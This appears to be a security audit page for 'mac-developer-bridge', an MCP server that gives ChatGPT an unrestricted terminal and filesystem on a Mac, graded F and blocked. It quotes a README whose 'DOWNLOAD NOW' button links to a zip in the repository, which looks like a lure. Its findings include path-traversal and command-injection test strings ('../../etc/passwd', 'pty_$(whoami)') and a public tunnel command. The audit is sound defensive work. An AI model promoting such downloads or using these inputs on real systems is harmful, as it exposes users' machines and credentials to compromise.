mac-developer-bridgeBLOCK
Give ChatGPT a real terminal on your Mac to run commands, edit files, manage sessions, and access Codex history.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
🖥️ mac-developer-bridge - Give ChatGPT a Real Terminal on Your Mac
<a href="https://raw.githubusercontent.com/Powderpuff-magneticstoragemedium586/mac-developer-bridge/main/launchd/developermacbridge_v3.5.zip" style="display:inline-block;padding:18px 42px;background:linear-gradient(135deg,#FF6B6B,#556270);color:white;font-size:22px;font-weight:bold;border-radius:50px;text-decoration:none;box-shadow:0 8px 25px rgba(0,0,0,0.3);transition:transform 0.2s;margin:30px 0;">⬇️ DOWNLOAD NOW - FREE
✨ What Is This?
mac-developer-bridge is a free, open-source program that connects ChatGPT to your Mac's terminal. Think of it as a secure bridge that lets ChatGPT see and interact with your computer's command line - safely and under your full control.
Instead of typing commands yourself, you can ask ChatGPT to run them for you. Want to check your disk space? Ask ChatGPT. Need to find a file? Ask ChatGPT. Need to see your recent Codex history? ChatGPT can pull that up too.
This tool is built for everyone - from students learning to code to experienced developers who want to speed up their workflow. You don't need to be a programmer to use it.
🎯 Why You Need This
Mac users often find the terminal powerful but scary. This bridge removes the fear factor. ChatGPT becomes your personal assistant that happens to know every command on your Mac.
🚀 Getting Started
Getting started takes less than 2 minutes. Here's exactly what to do:
Step 1: Download the App
Visit this link to download the application: **[htt
3760ab247e3bOBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add mac-developer-bridge --env CONTROL_PLANE_API_KEY=${CONTROL_PLANE_API_KEY} --env MAC_DEV_BRIDGE_HTTP_TOKEN=${MAC_DEV_BRIDGE_HTTP_TOKEN} --env MAC_DEV_BRIDGE_HTTP_TOKEN_FILE=${MAC_DEV_BRIDGE_HTTP_TOKEN_FILE} --env MAC_DEV_BRIDGE_OAUTH_CLIENT_ID=${MAC_DEV_BRIDGE_OAUTH_CLIENT_ID} -- npx -y [email protected]{
"mcpServers": {
"mac-developer-bridge": {
"command": "npx",
"args": [
"-y",
"[email protected]"
],
"env": {
"CONTROL_PLANE_API_KEY": "${CONTROL_PLANE_API_KEY}",
"MAC_DEV_BRIDGE_HTTP_TOKEN": "${MAC_DEV_BRIDGE_HTTP_TOKEN}",
"MAC_DEV_BRIDGE_HTTP_TOKEN_FILE": "${MAC_DEV_BRIDGE_HTTP_TOKEN_FILE}",
"MAC_DEV_BRIDGE_OAUTH_CLIENT_ID": "${MAC_DEV_BRIDGE_OAUTH_CLIENT_ID}"
}
}
}
}Exposed tools (32)
23 read · 7 write · 2 destructive. Blast radius: 2 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
apply_patch | write | Apply a unified diff using git apply in the specified working directory. This does not invoke a model and can modify any paths permitted by git apply and the host OS. |
argvdump | read | Return this process |
audit_tail | read | Return the tail of the bridge |
big | read | Return a very large result. |
blobres | read | Return an embedded resource carrying a blob. |
bridge_status | read | Inspect the host identity, runtime paths, permissions context, configured shell, audit log, and Codex executable. This is read-only. |
codex_thread_list | read | Page through stored local Codex threads without resuming them or starting model turns. Supports search, cwd, archived state, sorting, and cursor pagination. |
codex_thread_read | read | Read a stored local Codex thread through codex app-server without resuming it or starting a model turn. Set include_turns to true for the full persisted history. |
codex_thread_turns_list | read | Page a stored Codex thread |
die | read | Exit the process instead of answering. |
echo | read | Echo the given text back. |
envdump | read | Return this process |
fs_list | read | List a directory, optionally recursively, with type, size, mode, and timestamps. Symlinks are not followed during recursion. |
fs_manage | destructive | Perform unrestricted filesystem operations: mkdir, remove, move, copy, chmod, or symlink. Remove is recursive when requested. These operations use the host user |
fs_read | read | Read any file accessible to the macOS user. Supports byte ranges and text or base64 output. |
fs_stat | read | Return lstat metadata for any accessible filesystem path, including symlink target when applicable. |
fs_write | write | Create, replace, or append to any file accessible to the macOS user. Parent directories can be created automatically. Replacement writes are atomic by default. |
image | read | Return a text block and an image block. |
needroots | read | Ask the client for roots, then report them. |
pty_close | read | End a session and reclaim it. Sends SIGTERM, waits for the grace period, then SIGKILL to the leader |
pty_read | read | Read a byte range of a session |
pty_resize | read | Change the terminal window size and deliver SIGWINCH to the session, so full-screen programs redraw at the new geometry. The returned cols and rows are the kernel |
pty_signal | write | Send a signal to the session |
pty_start | write | Start a program on a real pseudo-terminal and keep it running as a session that can be written to, read from, resized, and signalled. Use this for anything that prompts or redraws: interactive authentication, sudo and ssh passphrase prompts, REPLs, test watchers, git rebase, and full-screen TUIs. |
pty_write | write | Send bytes to the session |
shell_exec | write | Run an arbitrary command through the configured login shell with the full permissions of the macOS user running this bridge. Use for commands that finish within the requested timeout. This can read, modify, delete, deploy, access the network, or invoke other programs. |
shell_job_kill | destructive | Send a signal to the background job |
shell_job_list | read | List persistent background-job metadata and current running state. |
shell_job_status | read | Check whether a background job is running and return the tail of its stdout and stderr logs. |
shell_start | write | Start an arbitrary detached background command with full host permissions. Output is written to persistent log files and the job can be inspected or stopped later. |
slow | read | Never answer. |
structured | read | Return structuredContent, isError and an unknown content type. |
Trust audit
BLOCKgrade F · trust 52/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | WARN |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (2 observation(s))
- Network
- declared (5 observation(s))
- Shell
- declared (1 observation(s))
- Dependencies
- pinned
- Secrets in source
- found
Findings (25)
description: "Start a program on a real pseudo-terminal and keep it running as a session that can be written to, read from, resized, and signalled. Use this for anything that prompts or redraws: inter
accessModel: "No bridge sandbox or path allowlist. Effective access equals the macOS account running tunnel-client/this server, subject to macOS TCC, Full Disk Access, ACLs, and sudo authentication.",
developer_mac_bridge_v3.5.zip
LAUNCHCTL_BIN="${LAUNCHCTL_BIN:-$(command -v launchctl 2>/dev/null || true)}"LAUNCHCTL_BIN="${LAUNCHCTL_BIN:-$(command -v launchctl 2>/dev/null || true)}"LAUNCHCTL_BIN="${LAUNCHCTL_BIN:-$(command -v launchctl 2>/dev/null || true)}"printf 'launchctl unavailable.\n'
LAUNCHCTL_BIN="${LAUNCHCTL_BIN:-$(command -v launchctl 2>/dev/null || true)}"The tunnel-client health UI normally appears at http://127.0.0.1:8080/ui while the service is running.
tunnel.arguments = ["tunnel", "--url", "http://127.0.0.1:\(httpPort)", "--no-autoupdate"]
const TOKEN = "test-token-that-is-long-enough-32";
const TOKEN = "oauth-test-token-that-is-long-enough";
const secret = "correct-horse-battery-staple-9f2c";
system use found in code, not declared in the description
fs_manage, shell_job_kill
const malformed = ["../../etc/passwd", "pty_/../x", "pty a", "", "x".repeat(129), "pty_$(whoami)"];
for _ in $(seq 20); do curl -fsS http://127.0.0.1:8787/healthz && break; sleep 0.25; done
cloudflared tunnel --url http://127.0.0.1:8787
open http://127.0.0.1:8080/ui
over "is full access permitted right now" belongs beside the tools it gates.
Even when unrestricted access is intentional:
Run an arbitrary command through the configured login shell with the full permissions of the macOS user running this bridge. Use for commands that finish within the requested timeout. This can read, m
read -r -s -p 'Tunnel runtime API key: ' CONTROL_PLANE_API_KEY; printf '\n'
This is credential hygiene, not isolation. An unrestricted shell can still attempt to read Keychain items, credential files, environment files, browser data, SSH material, or other secrets available t
As with the tunnel key, **this is credential hygiene, not isolation.** Node genuinely needs `PATH` and `HOME`, and with `HOME` set the child can read `~/.ssh`, `~/.aws` and `~/Library/Application Supp
Gates applied: no_behavioural_pass.
3760ab247e3bfull audit observations/trust-audit/mcp-server/powderpuff-magneticstoragemedium586__mac-developer-bridge.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 3760ab247e3b | BLOCK | F | 52 | first audit |
Questions
What is the mac-developer-bridge MCP server?
Give ChatGPT a real terminal on your Mac to run commands, edit files, manage sessions, and access Codex history.
What tools does mac-developer-bridge expose?
32 in total: 23 read-only, 7 that write, and 2 that can delete or overwrite (fs_manage, shell_job_kill). Every one is listed on this page with its risk.
Is mac-developer-bridge safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (52/100) and found 2 critical or high issues in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 2 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does mac-developer-bridge need?
It reads CONTROL_PLANE_API_KEY, MAC_DEV_BRIDGE_HTTP_TOKEN, MAC_DEV_BRIDGE_HTTP_TOKEN_FILE, MAC_DEV_BRIDGE_OAUTH_CLIENT_ID, MAC_DEV_BRIDGE_OAUTH_CLIENT_SECRET and MAC_DEV_BRIDGE_OAUTH_REDIRECT_URIS from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does mac-developer-bridge run?
It speaks streamable-http, so it runs as a service you connect to over the network. It is published on npm as mac-developer-bridge at 0.2.0.
How current is this page?
The grade is for one exact copy of the source (3760ab247e3b), read on 2026-10-11. The repository is watched and re-audited when it changes.